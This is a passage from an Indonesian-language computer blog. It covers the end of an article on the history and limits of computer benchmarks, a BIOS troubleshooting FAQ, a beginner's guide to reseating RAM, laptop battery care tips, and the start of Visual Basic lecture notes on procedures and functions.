Menyadari masalah itu, benchmark Perfect Club dan SPEC mengembangkan apa yang disebut suite aplikasi (yakni sekumpulan aplikasi terdiri atas elemen-elemen program yang masing-masing mengukur berbagai aspek perilaku sistem agar diperoleh gambaran sistem lebih lengkap). Suite semacam itu biasanya sulit dipangkalkan (porting) ke komputer lain, terutama komputer paralel, dan bila berhasil dipangkalkan diperlukan waktu berjam-jam untuk mengeksekusinya (Gustafson dan Todi, 1998).
Menurut Gustafson dan Todi (1998) aplikasi semacam itu tetaplah hanya mengukur satu titik sampel dari kinerja komputer sementara yang diperlukan adalah mengukur seluruh rentang kinerja komputer. Benchmark-benchmark tersebut memiliki satu karakteristik yang sama, yakni ukuran masalahnya dibuat tetap. Komputer-komputer dibandingkan dari segi berapa lama diperlukan waktu untuk menyelesaikan masalah tersebut. Karena benchmark harus dapat dieksekusi pada banyak jenis komputer, maka ukuran masalah dipilih sedemikian rupa sehingga diharapkan semua komputer sasaran uji dapat menjalankan benchmark dengan baik. Ukuran masalah pada NAS Parallel Benchmark misalnya, disesuaikan dengan kapasitas komputer Cray X-MP yang ada di NASA Ames Research Center meskipun banyak komputer paralel yang memiliki lebih banyak memeri dan dirancang untuk masalah-masalah yang jauh lebih besar. Meskipun para pengembang NAS Parallel Benchmark telah membuat lima ukuran masalah yang berbeda tetapi tetap tidak menemukan cara untuk membandingkan komputer dengan kapasitas memori yang sangat berbeda. Oleh karena itulah, dukungan terhadap penggunaan NAS Parallel Benchmark makin lama makin surut (Gustafson dan Todi, 1998).
McMahon, yang merancang benchmark Livermore Loop menunjukkan upaya awal untuk mengeksplorasi penggunaan ukuran masalah yang berbeda dalam satu benchmark. Panjang vektor diubah-ubah pada suatu rentang tertentu untuk merepresentasikan berbagai rejim (konfigurasi dan kapasitas) memori sistem komputer. Hanya saja rentang variasi panjang vektor tidak cukup besar untuk mengakomodasi rejim memori (untuk tahun 1997 saja rasio ukuran yang cukup representatif adalah 1.000.000 : 1) dan benchmark Livermore Loop dinyatakan dengan satu skor tunggal sehingga meniadakan perbedaan struktur uji yang dilakukan.
Benchmark Whetstone, yang dibuat oleh Curnow dan Wichman, juga dimaksudkan untuk menghindari sindrom 'orang buta dan gajah' dengan memberikan bobot yang dapat diatur untuk aspek-aspek komputasi yang berbeda, misalnya matematika bilangan integer, pemanggilan subrutin, fungsi-fungsi khusus, percabangan, dan sebagainya (Gustafson dan Todi, 1998). Pengguna benchmark ini dapat memilih sendiri bobot yang dipakai untuk aplikasi target, mengatur bobot benchmark, dan menggunakan skor total sebagai prediktor kinerja komputer tersebut. Meskipun demikian, benchmark Whetstone dengan bobot yang telah disediakan di dalamnya sebagai bobot default lebih sering digunakan sebagai perbandingan.
Hal lain yang tidak masuk dalam perhitungan para perancang benchmark adalah fakta bahwa menurut hukum Moore, kinerja komputer bertambah sebesar 60% setiap tahun. Semua benchmark mendasarkan diri pada masalah berukuran tetap (fixed-size problem) sehingga relatif terhadap kinerja yang terus meningkat, masalah yang diujikan sebagai pengukur kinerja menjadi sangat kecil dalam beberapa tahun kemudian. Benchmark LINPACK, misalnya, mulai dengan menentukan bahwa ukuran matriks harus 100x100. Ketika kinerja komputer bertambah besar dan penghitungan matriks berukuran 100x100 terselesaikan lebih cepat dari waktu yang diperlukan pemrogram untuk menekan tombol ENTER, ukuran masalah diperbesar dengan matriks 300x300 dan kemudian 1000x1000. Bahkan selanjutnya perancang LINPACK mengijinkan versi 'sebesar yang dapat ditampung oleh memori'.
Meski LINPACK berupaya melakukan penskalaan ukuran masalah terhadap peningkatan kinerja, ada hal lain yang juga perlu diperhatikan. Ukuran memori pada sistem komputer meningkat 4 kali lipat setiap 3 tahun. Jumlah operasi yang dijalankan pada sistem komputer meningkat dengan faktor 64. Bila kecepatan pemrosesan juga dianggap mengikuti hukum Moore dengan peningkatan sebesar 4 kali, maka berarti waktu yang diperlukan untuk menjalankan program 'LINPACK terskala' tersebut meningkat dengan faktor 16. Dengan kondisi seperti itu, 'LINPACK terskala' praktis sama dengan LINPACK berukuran tetap, relatif terhadap peningkatan instrinsik sistem komputer tersebut di atas. Satu hal yang pasti adalah bahwa pengukuran kinerja komputer sebenarnya ditentukan oleh batas waktu yang dapat ditolerir manusia untuk menunggu hasil eksekusi program pengukur, dan ini merupakan batas ukuran masalah yang dapat diberikan kepada komputer sebagai penguji kinerja.
Mengembangkan benchmark tanpa memperhitungkan laju peningkatan kinerja dapat diibaratkan mematok harga barang tanpa memperhitungkan laju inflasi (dan perlu diingat, 'inflasi' kinerja komputer adalah 60% pertahun). Ketika LINPACK petama kali digunakan, waktu yang diperlukan dengan matriks 100x100 dikumpulkan dari berbagai sistem komputer yang ada di berbagai instutusi dan dilaporkan secara rutin. Pada taraf presisi 32 bit, matriks 100x100 tersebut hanya memerlukan 40.000 byte memori dan 670.000 operasi floating-point.Komputer VAX-11/780 memerlukan beberapa detik untuk menjalankan program tersebut - cukup untuk memberi kesempatan manusia melakukan pengukuran dengan cermat. Komputer CRAY Y-MP8/832 hanya memerlukan waktu eksekusi 1/300 detik, jauh lebih cepat dari kemampuan monitor menyegarkan (to refresh) tampilan untuk memberitahukan bahwa proses komputasi telah selesai (Gustafson, dkk, 1996). Bahkan dengan taraf presisi 64 bit, CRAY hanya memerlukan 1/30.000 dari kapasitas memorinya untuk menyelesaikan persoalan itu. Berikutnya, LINPACK dikembangkan dengan matriks 300x300, kemudian 1000x1000. Variasi taraf presisi dan optimisasi yang diijinkan menyebabkan skor benchmark LINPACK menjadi relatif, bergantung pada persoalan dan taraf presisi yang digunakan saat pengujian.

Benchmark dengan Pendekatan Lain

Sebagai upaya untuk mengembangkan benchmark yang lebih baik, peneliti di Ames Laboratory merancang program yang disebut sebagai SLALOM (The Scalable, Language-independent, Ames Laboratory One-minute Measurement). Benchmark SLALOM mengukur kinerja komputer dengan pendekatan waktu-tetap (fixed-time), bukan ukuran-masalah tetap (fixed-size problem). Dengan prinsip waktu-tetap, dimungkinkan membandingkan berbagai jenis komputer, dari komputer personal sampai komputer paralel berkemampuan besar. SLALOM, yang secara otomatis menyesuaikan dengan daya komputasi (computing power) yang ada dan memperbaiki kekurangan berbagai benchmark sebelumnya, memiliki sifat-sifat: sangat terskala, memecahkan persoalan riil, memperhitungkan juga waktu yang diperlukan untuk unit masukan dan keluaran, dan dapat dijalankan pada komputer paralel serta menggunakan berbagai bahasa yang ada (Gustafson, dkk, 1996).
Meskipun dirancang untuk memanfaatkan memori sesuai dengan kecepatan komputer, SLALOM tidak dapat dijalankan selama satu menit (waktu yang diperlukan untuk pengukuran) pada komputer yang kapasitas memorinya relatif kurang terhadap kecepatannya. Akibatnya, komputer dengan kapasitas memori kecil tidak dapat diukur kinerjanya dengan SLALOM.
Benchmark dengan pendekatan lain juga dibuat oleh peneliti di Ames Laboratory, dikenal dengan nama HINT (Hierarchial INTegration). Benchmark ini menghasilkan satuan ukuran yang disebut QUIPS (Quality Improvement Per Second) dan tidak menggunakan ukuran-masalah tetap ataupun waktu-tetap. HINT dikembangkan berdasarkan benchmark SLALOM tetapi bekerja lebih cepat. Bedanya, HINT tidak mematok ukuran masalah (problem size) maupun waktu komputasi. QUIPS merupakan satuan yang digunakan untuk mengukur banyaknya usaha yang dilakukan komputer pada rentang waktu tertentu. Gustafson, peneliti yang mengembangkan HINT, tidak menginginkan waktu yang terlalu singkat untuk melakukan pengukuran karena kebanyakan komputer bekerja sangat cepat pada awalnya, lalu mulai menurun kecepatannya setelah banyak terjadi kemelesetan (miss) cache dan mulai menggunakan memori utama atau bahkan harus mengakses data pada harddisk (Gustafson dan Snell, 1997).
Meskipun belum sepopuler benchmark lain, misalnya SPEC95, HINT diklaim sebagai benchmark yang memungkinkan pembandingan yang adil terhadap perbedaan-perbedaan ekstrim dalam hal arsitektur komputer, kineja absolut, kapasitas memori, dan taraf presisi komputasi. HINT merupakan perbaikan dari SLALOM dalam hal linieritas (kualitas penyelesaian masalah, pemakaian memori, dan banyaknya operasi, semuanya proporsional), mudah dikonversi ke komputer dengan arsitektur berbeda, serta menyatukan taraf presisi dan ukuran memori ke dalam satu kinerja. Sampai saat ini HINT masih belum banyak diuji dan belum cukup populer untuk digunakan sebagai tolok-ukur kinerja komputer universal.

Penutup

Perancangan pengukur kinerja komputer yang universal semakin sulit dilakukan akibat semakin bervariasinya arsitektur komputer, konfigurasi dan kapasitas memori, taraf presisi sistem, maupun teknik optimisasi kompilator. Berbagai pendekatan ilmiah dilakukan dalam upaya merancang benchmark yang memperhitungkan semua aspek di atas, tetapi tetap mudah digunakan. Sampai saat ini, pemakai sendirilah yang harus menentukan benchmark pilihannya, sekedar untuk mendapatkan prediksi kinerja komputer bila diberi beban kerja sesuai dengan pemakaian yang sebenarnya. Dengan tetap memperhatikan 'kelemahan' benchmark yang dipakai, setidaknya dapat diperoleh gambaran awal kinerja komputer atas beban-kerja yang akan diberikan kepadanya.

Daftar Pustaka

  • Gustafson, John, dkk. 1996. The Design of a Scalable, Fixed-Time Computer Benchmark. URL: http://www.scl.ameslab.gov/ Publications/ DesignBenchmark/DesignBenchmark.html . Download tanggal 21 Mei 1999.
  • Sharp, Oliver dan David F. Bacon . 1994. Measure for Measure. Byte, October 1994. USA: McGraw-Hill Inc.
  • Reilly, Jeff . 1995. SPEC Describes SPEC95 Products And Benchmarks. URL : http://www.spec.org/osg/news/ cpu95descr.html . Download tanggal 20 Maret 1996.
  • Gustafson, John L. dan Rajat Todi. 1998 . Conventional Benchmarks as a Sample of the Performance Spectrum. URL: http://www.scl.ameslab.gov/Publications/HICSS98/ HICSS98.html . Download tanggal 21 Mei 1999.
  • Gustafson, John L. dan Quinn O. Snell. 1997. HINT: A New Way To Measure Computer Performance. URL: http://www.scl.ameslab.gov/Publications/HINT/ ComputerPerformance.html. Download tanggal 22 Mei 1999.
  • Sill, Dave. 1996. comp.benchmarks Frequently Asked Questions, With Answers Version 1.0. URL : ftp://ftp.nosc.mil/pub/aburto/ comp.benchmark.faq. Download tanggal 22 Mei 1999.
  • Dixit, Kaivalya dan Jeff Reilly. 1995. SPEC95 Questions and Answers. URL: http://netlib2.cs.utk.edu/html/PDStop.html. Download tanggal 8 September 1996
  • Reilly, Jeff .1995. SPEC Discusses the History & Reasoning Behind SPEC95. URL : http://netlib2.cs.utk.edu/html/PDStop.html. Download tanggal 8 September 1996

Seputar Permasalahan Bios Komputer

12.22 Add Comment
chip bios
Berikut ini adalah lima hal penting yang perlu diketahui seputar BIOS. Kemungkinan sebagian besar dari Anda tidak akan mengalami hal ini. Hanya saja untuk berjaga-jaga, sekiranya di antara hal berikut ini terjadi dengan PC, Anda telah mengetahui apa yang terjadi dan apa yang harus dilakukan.

01. Clear CMOS Saat Instalasi Motherboard Baru.

Pertanyaan: Perlukah melakukan clear CMOS, sebelum menginstalasi motherboard baru?
Jawab: Walaupun dalam banyak kasus, hal ini sama sekali tidak perlu dilakukan. Namun, hal ini sangat direkomendasikan untuk dilakukan sebelum menginstalasi komponen pada sebuah motherboard baru. Untuk menjaga kompatibilitas komponen hardware yang akan diinstal dengan motherboard. Sebab ada kemungkinan, komponen hardware yang digunakan pada masa pengujian QA (Quality Assurance), menggunakan komponen yang berbeda.
Masalah inkompatibilitas dapat saja terjadi, terutama pada setting CPU dan beberapa komponen pendukung lainnya.

02. Proses Tidak Sempurna pada Saat Update BIOS.

Pertanyaan: Apa yang harus dilakukan, sekiranya saat dilakukan update BIOS tiba-tiba sistem crash ataupun listrik padam?

Jawab: Inilah yang paling ditakutkan selama proses melakukan update BIOS. Musibah memang bisa terjadi di mana dan kapan saja. Yang harus dilakukan jika hal ini terjadi adalah sebagai berikut.
Lakukan secepatnya clear CMOS. Sekiranya sistem hang, sebelum mematikan ataupun melakukan reset, pindahkan jumper ke posisi clear CMOS. Tindakan ini semacam proses undo pada beberapa aplikasi. Dengan harapan, EEPROM pada BIOS akan kembali ke BIOS semula.
Kecuali motherboard Anda dilengkapi dengan BIOS back-up. Anda dapat dengan mudah melakukan restore BIOS utama. Mengandalkan BIOS backup yang tersedia pada motherboard Anda.

03. PC Gagal Melakukan Proses Booting.

Pertanyaan: Sesekali sistem mengalami gagal boot, setelah sistem dimatikan secara keseluruhan (cabut kabel AC, switch off pada PSU). Apa penyebabnya dan bagaimana mengatasinya?
Jawab: Sebaiknya, jika PC direncanakan tidak akan digunakan dalam waktu lama, maka catuan power AC ke PC dicabut. Atau minimal switch PSU di dalam posisi off. Namun setelah itu, PC mengalami gagal boot.
Ini terjadi karena belum meratanya catuan daya ke seluruh komponen PC. Termasuk BIOS. Ini yang menyebabkan proses boot gagal dilakukan dengan sempurna. Gejalanya adalah, PC menyala, namun tidak melanjutkan proses boot, bahkan tanpa terdengar bunyi POST code.
Yang perlu dilakukan sederhana. Beri interval waktu, setelah melakukan sambungan ulang power AC (kurang lebih 30 detik). Ini untuk memastikan PSU sudah beroperasi dengan optimal.
Memastikan tegangan listrik juga dapat membantu menyelesaikan masalah ini. Demikian juga dengan pemilihan PSU yang lebih berkualitas pada PC Anda.
04. Perlukah Update BIOS?
Pertanyaan: Pada situs resmi produsen motherboard yang digunakan, tersedia update BIOS. Perlukah melakukan update dengan BIOS versi terbaru?
Jawab: Alasan yang paling tepat untuk munculnya kebutuhan update BIOS adalah saat menambahkan kompatibilitas untuk sebuah komponen yang terpasang. Seperti harddisk ukuran 200 GB, CPU terbaru yang sering membutuhkan update BIOS untuk dapat berjalan dengan sempurna.
Juga tidak disarankan, untuk melakukan update BIOS dengan alasan memperbaiki salah satu software bug dari BIOS. Hal ini sangat jarang terjadi. Kecuali dinyatakan secara khusus.
Atau, dalam versi BIOS yang digunakan, terdapat banyak bug yang mengganggu. Update BIOS dengan alasan selain itu, memang tidak ada salahnya. Namun kemungkinan besar, itu hanya akan membuang waktu saja.
05. Setting BIOS Tidak Tersimpan pada CMOS.
Pertanyaan: Mengapa CMOS tidak menyimpan setting BIOS?
Jawab: Ada dua kemungkinan. Perhatikan POST yang diberikan saat booting. Jika pesan yang diberikan semacam ini “CMOS checksum invalid” atau “Invalid configuration, run Setup”, penjelasannya sangatlah sederhana. CMOS tidak dapat menyimpan setting BIOS, dikarenakan kurangnya daya dari baterai CMOS. Jadi, yang perlu dilakukan, hanyalah mengganti baterai CMOS dengan yang baru. Kebanyakan bertipe CR2032. Dan baterai ini relatif mudah didapatkan, tidak hanya tersedia pada toko komputer.

Cara Sederhana Memperbaiki Komputer Rusak

12.16 Add Comment
Seringkali saya di panggil untuk memperbaiki komputer di rumah-rumah maupun di kantor-kantor baik milik perorangan maupun instansi, dari pengalaman memperbaiki komputer itu saya menemukan banyak sekali keluhan kerusakan komputer yang hampir sama, antara lain karena terserang virus, komputer tidak bisa di hidupkan dan hanya mengeluarkan bunyi tertentu, CPU hidup tapi monitor tidak menampilkan gambar dan masih banyak lagi keluhan lainnnya dan menurut saya ada beberapa kerusakan ringan seperti itu bisa dicoba untuk memperbaiki sendiri terlebih dahulu sebelum memanggil seorang teknisi.

Disini Blog Belajar Ilmu Komputer hanya ingin membantu bagi pengunjung blog BIK Pemula ini yang masih awam dalam memperbaiki komputer sendiri, dan topik yang ingin saya sampaikan adalah hanya "komputer tidak bisa hidup dan mengeluarkan bunyi tertentu", kenapa saya ingin menyampaikan topik ini karena menurut saya, kerusakan hardware seperti ini masih bisa dicoba untuk diperbaiki sendiri terlebih dahulu sebelum mengambil keputusan untuk memanggil seorang teknisi komputer. Tetapi perlu diingat bahwa tidak semua kerusakan dapat diperbaiki sendiri, namun perlu orang yang memang profesional di bidangnya. Namun untuk kerusakan ringan seperti komputer mengeluarkan bunyi tertentu sebaiknya dicoba dulu perbaiki sendiri, setelah itu baru apabila tidak bisa juga diperbaiki barulah memanggil seorang teknisi.

Berikut ini adalah tips dari Belajar Ilmu Komputer untuk Belajar memperbaiki sendiri komputer anda di rumah sebelum memanggil seorang teknisi khususnya kerusakan ringan hardware.

Bila komputer anda di rumah, di kantor atau di manapun memberikan tanda berupa bunyi tertentu dan tidak bisa hidup atau tidak bisa muncul di monitor, coba ikuti langkah-langkah berikut mungkin bisa membantu anda sebelum memutuskan untuk memanggil seorang teknisi, namun untuk memperbaikinya kita perlu masuk (tangan saja yang masuk karena badan kita gak mungkin muat) ke dalam CPU (Central Proccessing Unit).

Langkah 1

Matikan Komputer/PC anda dan Cabut koneksi kabel listrik ke stop kontak.

Langkah 2

Buka case/casing CPU, dan lepaskan keping memory dari tempatnya. cara melepaskan memori, tarik ke samping tuas pengunci yang ada pada kedua ujung keping memory hingga keping memori agak sedikit terangkat.

Langkah 3

Cabut keping memori dari tempatnya dan keluarkan dari casing/case. (pastikan bahwa tuas pengunci memori benar-benar sudah terbuka).

Langkah 4

Bersihkan bagian kuningan yang terkoneksi ke motherboard dengan menggunakan penghapus pensil (jangan disentuh dengan tangan bagian kuningan).
Langkah 5

Pasang kembali keping memori yang sudah dibersihkan pada tempatnya semula pada motherboard dan jangan lupa menguci dengan tuas pengunci. Tuas pengunci akan terkunci dengan sendirinya jika anda memasang keping memori dengan benar (tidak terbalik). Lakukan pemasangan keping memori dengan menekan kedua ujung keping memori secara perlahan dan perhatikan tuas pengunci benar-benar sudah terkunci.

Langkah 6

Lakukan langkah 4 untuk semua kartu yang terkoneksi ke motherboarboard khususnya Kartu grafik/VGA Card (apa salahnya membersihkan semua komponen sekalian, tidak rugikan?)

Langkah 7

Bilah yakin semua kartu yang terpasang sudah dibersihkan dan terpasang pada tempatnya masing-masing maka sekarang saatnya untuk membuktikan apakah semua yang dilakukan tadi mendapatkan hasil yang lebih baik (komputer hidup) atau tidak ?.

Langkah 8

Hubungkan kembali kabel power dari komputer ke stop kontak dan hidupkan komputer anda dan perhatikan perubahan yang terjadi.

Jika berhasil maka komputer anda akan hidup seperti semula, dan jika komputer tetap tidak bisa hidup juga barulah anda bisa mengambil keputusan untuk memanggil seorang teknisi.

Mencoba itu lebih baik daripada tidak sama sekali, sederhana bukan ? selamat mencoba semoga tips dari belajar ilmu komputer ini bisa bermanfaat

Tips Penggunaan dan Perawatan Laptop

12.10 Add Comment
Agar kita dapat menggunakan laptop dengan aman dan nyaman perlu mengetahui tips perawatan laptop,  baterai laptop, dan cara penggunaan laptop yang baik. Terutama perawatan laptop baru agar baterainya dapat bertahan lama. Belakangan banyak rekan di kampus yang mengeluhkan bahwa laptopnya hanya bertahan beberapa menit saja dan ada lagi yang lebih parah laptopnya ‘matot’ alias mati total saat bekerja. Nah artikel ini khusus buat yang baru punya laptop atau ingin laptopnya awet.
Saat memang ini hampir semua kalangan telah menggunakan laptop dalam menjalankan aktivitas, seperti mengajar (bagi guru dan dosen), mencari tugas bagi siswa dan mahasiswa, surfing, chatting, atau sekedar mengetik tugas dan facebook-kan. Laptop memiliki beberapa keunggulan seperti praktis yang bisa dibawa kemana saja dan bisa bekerja dengan baterai tiga jam atau lebih pada laptop baru. Nah bagaimana agar kemampuan laptop kita tetap seperti baru?
Memang sangat tidak praktis dan efisien kalo kita harus selalu nyolokin kabel laptop saat mengoperasikannya, yah apa bedanya dengan PC dong? Selain tidak semua tempat menyediakan colokan listrik juga ketersediannya sangat terbatas, jadi anda juga harus bawa cable round agar bisa berbagi… hiii repot banget kan?
Dari beberapa hasil surfing dan bertanya dapat saya kumpulin beberapa tips perawatan Laptop agar awet dan tahan lama saat menggunakan batery.
· Lakukan defrag secara teratur
Semakin cepat kinerja hard drive anda maka semakin hemat baterai anda, oleh karena itu buat hard drive anda seefisien mungkin dengan melakukan defrag secara teratur. Cara mendefrag klik START, kemudian All programs lalu Accessories, pilih Sistem Tools dan klik Disk Defragmenter. Lalu lakukan defrag untuk masing-masing partisi pada laptop anda. Lakukan disk defragment ini secara rutin. Jika hal ini belum pernah dilakukan maka hal ini akan cukup memakan waktu.
· Kurangi cahaya monitor anda
Untuk menghemat energi baterai anda, kurangi cahaya monitor laptop sampai batas toleransi yang sesuai untuk mata anda. Hal ini dapat dilakukan dengan menggunakan keyboard seperti laptop Accer dengan menekan key Fn dan secara bersamaan. Semakin sedikit pencahayaan semakin panjang masa menggunkan batery.
· Hindari menyambung kabel terus-menerus
Kebiasaan mencolokkan kabel saat baterai telah penuh adalah awal kerusakan baterai. Jika baterai telah penuh lepaskan kabel pengecasan. Maka selalu awasi kode lampu yang menunjukkan baterai telah penuh, segera lepaskan kabelnya. Sehingga laptop bekerja dengan baterai. Selain itu anda juga dapat melepas baterai dan hanya menggunakan listrik saja, namun ini beresiko kehilangan data jika listrik mendadak mati.
· Matikan program yang tidak perlu
Jika anda tidak menggunakan program tersebut sebaiknya anda matikan, misalnya: Itunes, Desktop Search, dan lainnya. Program-program ini menambah beban CPU dan baterai. Matikan semua program yang tidak penting jika anda sedang menggunakan laptop dengan baterai. Yah kira-kira sesuai motto PLN, yang penting matikan disaat penting. Eh salah yang penting matikan yang tidak penting.
· Matikan hardware eksternal
Alat-alat eksternal yaitu yang disambung dengan USB (termasuk mouse dan cooling pad anda) dan WiFi, atau printer yang selalu terpasang ke Laptop, semuanya menyedot tenaga baterai anda. Cabut atau matikan.
· Ganti mouse dan keyboard wireless
Jika anda memang harus menggunakan mouse dan keyboard ekternal, maka gunakan perangkat yang menggunakan kabel bukan wireless mouse. Hal ini dikarenakan mouse dan keyboard yang memiliki kabel relative menghabiskan sedikit energi dan lebih menghemat penggunaan baterai.
· Tambahkan RAM
Jika anda sering menggunakan program yang membutuhkan memory besar, sebaiknya anda menambah RAM laptop anda. Penggunaan virtual memory lebih membebani hard drive sehingga baterai laptop lebih cepat habis.
· Gunakan hard drive daripada CD/DVD
Walaupun hard drive banyak menghabiskan tenaga baterai, tetapi CD dan DVD menghabiskan energi lebih banyak lagi, bahkan ketika mereka tidak sedang digunakan. Jika memungkinkan simpan dalam harddisk anda. Akan lebih baik jika menggunakan program virtual drive seperti Alcohol 120%.
· Jaga kebersihan baterai.
Coba buka baterai yang terdapat dibagian bawah laptop anda dan bersihkan besi yang menjadi penghubung energi baterai dengan laptop secara teratur, sehingga transfer energi dari baterai anda menjadi lebih efisien.
· Jaga kondisi baterai.
Tidak baik untuk membiarkan baterai yang terisi dalam keadaan dorman untuk jangka waktu yang lama. Setelah diisi, anda sebaiknya menggunakan baterai tersebut setidaknya sekali dalam 2-3 minggu. Satu hal yang harus diingat, jika baterai laptop anda Li-On maka jangan pernah menggunakannya sampai benar-benar habis.
· Pilih hibernate, jangan standby
Seringkali kita membuat laptop dalam mode standby sehingga dapat langsung aktif saat disentuh walaupun ditinggal tidur. Hal ini memang menghemat baterai dan anda dapat langsung menggunakan laptop anda kapan saja. Tetapi sebenarnya laptop anda tidak benar-benar mati.
Maka, sebaiknya gunakan fungsi hibernate yang dapat menghemat energi listrik jauh lebih banyak karena fungsi ini benar-benar mematikan laptop anda jika tidak disentuh dalam kurun waktu yang anda tentukan sendiri.
Untuk melakukan hibernate bisa dilakukan pada control panel atau pada layar depan dengan mengklik kanan dan mengambil Properties, Screen Saver, dan pilih Power yang berada di kanan bawah. Silahkan atur waktu hibernation-nya.
Setelah hibernate, jika anda menekan tombol power, ia akan kembali seperti sebelum saat mati. Jadi anda dapat meneruskan tugas anda atau tulisan anda. (Tunggu paling sedikit 30 detik untuk menyalakan ulang laptop).
· Jaga suhu laptop anda.
Laptop akan berfungsi dengan lebih efisien jika suhunya lebih dingin. Maka bersihkanlah ventilasi udaranya dengan kain halus atau pembersih keyboard. Bila menggunakan pelindung keyboard, lepaskan jika suhu terasa meningkat.
· Jangan menggunakan laptop di tempat tidur/Bantal/Karpet Tebal
Lho emang kenapa? Begini bila bagian bawah laptop tertutup hal ini akan meningkatkan suhu laptop. Jadi menggunakan laptop dengan beralaskan bantal adalah suatu ide yang buruk karena akan menutupi ventilasi udara. Bila benar-benar ngebet pengen ngetik di tempat tidur, ya beli aja meja kecil tempat meletakkan laptop anda.
Pikirkan juga bila anda menggunakan pembungkus laptop yang menghalangi ventilasi. Bahkan pernah teman yang akhirnya laptopnya mati total. Demikian juga jika Anda menggunakan laptop di atas permukaan yang lunak (sejenis karpet tebal) yang dapat mengakibatkan ventilasi tidak lancar.
· Atur ‘power options’ supaya optimal
Pilih ‘Power Options’ di control panel anda dan aturlah supaya penggunaan energi laptop tetap optimal (pilih Max Battery) untuk efek maksimum).
· Hindari multitasking
Lakukan sesuatu secara satu persatu jika anda sedang menggunakan laptop dengan baterai. Jangan bekerja dengan multitasking jika anda memang ingin menghemat baterai anda karena hal ini menguras energi.
· Kurangi beban CPU anda.
Aktifitas seperti email dan word processing yang bebannya kecil untuk CPU laptop, menggunakan tenaga baterai lebih kecil daripada menjalankan winamp apalagi game atau menonton DVD, pasti cepat habis. Jadi pilih prioritas anda dengan bijaksana.
· Kurangi beban grafis
Anda bisa melakukan hal ini dengan mengganti resolusi layar anda dan mematikan driver grafis yang tidak dibutuhkan. Graphic card atau video card sama borosnya seperti hard disk dalam menghabiskan energi baterai.
· Matikan Laptop Anda
Jika Anda tidak menggunakannya untuk beberapa jam, seperti di waktu tengah malam sebaiknya ya matikan saja. Anda masih dapat menghemat energi, walaupun laptop/computer Anda mungkin tidak mati dengan sempurna, yakni dengan men-setting fungsi management power pada computer Anda untuk membuat monitor dan computer (CPU, harddisk, dan sebagainya) dalam mode ‘sleep’ setelah beberapa jam tidak digunakan. Hal tersebut dapat menghemat energi ketika Anda tidak aktif menggunakan computer. Tapi seperti telah disebutin di atas, hibernation lebih irit lagi.
Jika Anda ingin menyalakan laptop kembali setelah dimatikan, tunggu kira-kira 30 detik agar harddisk anda lebih awet.
· Beli baterai baru
Bila laptop anda tetap tidak bisa tahan, kemungkinan baterainya telah rusak duluan karena anda terlambat membaca tulisan ini. Namun tidak apa-apa. Ada langkah yang cukup bagus dengan cara membeli baterai baru dan menghindari semua kebiasaan buruk terutama menggunakan laptop saat dicolokin ke listrik.
· Beli laptop baru
Namun jika langkah diatas juga tidak ”mangkus” mungkin cara terakhir ini cara mungkin yang paling mudah namun bukan berarti paling murah. Jadi jika anda punya budget yang cukup beli aja laptop baru. Saat ini telah hadir laptop yang semakin efisien telah mencapai suatu titik dimana bahkan para produsen kini telah berani menjanjikan baterai yang dapat tahan satu hari penuh. Tapi selama anda tidak melakukan kebiasaan buruk saat berlaptop di atas.
Menyalakan Laptop dengan Tanpa Batery
Belakangan sering ditanyakan bagaimana dampak jika menggunakan laptop langsung tanpa batery (AC) dalam artian langsung kabel dipasang dan batery-nya dilepas. Hal ini boleh dilakukan dan akan dapat menjaga kondisi batery tetap awet. Namun, jika listrik sering mati mendadak mungkin ini beresiko kerusakan program atau kehilangan data.
Hal ini boleh dilakukan,  namun jangan terlalu lama membiarkan batery dalam keadaan tidak terpakai (idle/unused) terlalu lama. Hal ini juga bisa merusak batery.
Tips Tambahan:
Ø Saat baterai yang cukup penuh, anda sebaiknya anda mematikan fungsi autosave ketika menggunakan MS Word atau Excel karena mereka dapat menambah beban yang tidak diperlukan pada hard drive anda. Dan sebaliknya ketika baterai laptop anda sudah hampir habis, sebaiknya anda mengaktifkan kembali fungsi autosave karena anda tidak akan pernah tahu kapan baterai laptop anda benar-benar habis. Dan ketika hal tersebut terjadi, tentu saja anda tidak ingin pekerjaan anda hilang bukan? Jika bingung ya biarin aja autosave selalu… :)

Materi Visual Basic

20.10 Add Comment
prosedur

*prosedur adalah sekumpulan perintah untuk mengerjakan proses tertentu
*prosedur = sub rutin
*prosedur di vb diawali dengan sub, diakhiri dengan und sub
*prosedur ada 2 macam = - tanpa parameter
            - dengan parameter
(prosedur parameter)
Private Sub Command1_Click()
    'memanggil prosedur
    Call hitung_luas(Text1.Text, Text2.Text)
End Sub
'prosedur dengan parameter
Sub hitung_luas(ByVal p As Single, ByVal l As Single)
    Dim luas As Single
    luas = p * l
    Text3.Text = luas
End Sub 'akhir prosedur

(tanpa parameter)
Private Sub Command1_Click()
    'memanggil prosedur
    hitung_luas
End Sub

Sub hitung_luas() 'awal prosedur
    Dim p As Single
    Dim l As Single
    Dim luas As Single
    p = Text1.Text
    l = Text2.Text
    luas = p * l
    Text3.Text = luas
End Sub 'akhir prosedur








latihan


Private Sub Command1_Click()
    'memanggil prosedur
    Call hitung_luas(Text1.Text, Text2.Text)
End Sub
'prosedur dengan parameter
Sub hitung_luas(ByVal p As Single, ByVal l As Single)
    Dim luas As Single
    Label3.Caption = "luas"
    luas = p * l
    Text3.Text = luas
End Sub 'akhir prosedur

Private Sub Command2_Click()
    'memanggil prosedur
    Call hitung_keliling(Text1.Text, Text2.Text)
End Sub

Sub hitung_keliling(ByVal p As Single, ByVal l As Single)
  Label3.Caption = "keliling"
    keliling = 2 * (p + l)
    Text3.Text = keliling
End Sub 'akhir proses

(------------------------------------------------------------------------------------------)

fungsi

*fungsi adalah sekumpulan perintah untuk mengerjakan proses tertentu & nilainya dikembalikan kpd si pemanggil
*fungsi di vb diawali dg function, dan diakhiri end function
*fungsi ada 2 macam = - dengan parameter
              - tanpa parameter
* sedangkan menurut pembuatnya, fungsi  ada 2 macam
- fungsi yg dibuat oleh programmer
- fungsi bawaan vb

contoh


Private Sub Command1_Click()
    Option1.Caption = "hitung luas"
    Text2.Text = hitung(Text1.Text)
End Sub
'awal fungsi
Function hitung(ByVal r As Single)
    If Option1.Value = True Then hitung = 3.14 * (r ^ 2)
    If Option2.Value Then hitung = 2 * 3.14 * r
End Function
'akhir fungsi

(------------------------------------------------------------------------------------------)

array

* aray adalah sekumpulan nilai yang memiliki tipe data yg sama & disimpan dlm sebuah variabel (var.array)
* array di vb ada2 = - array statis
             - array dinamis
* variabel array menggunakan     niomor indeks
* sedangkan menurut pembuatnya fungsi ada 2 macam
- fungsi yg dibuat oleh user (programer)
- fungsi bawaan vb

contoh


Private Sub Command1_Click()
    'deklarasi variabel array
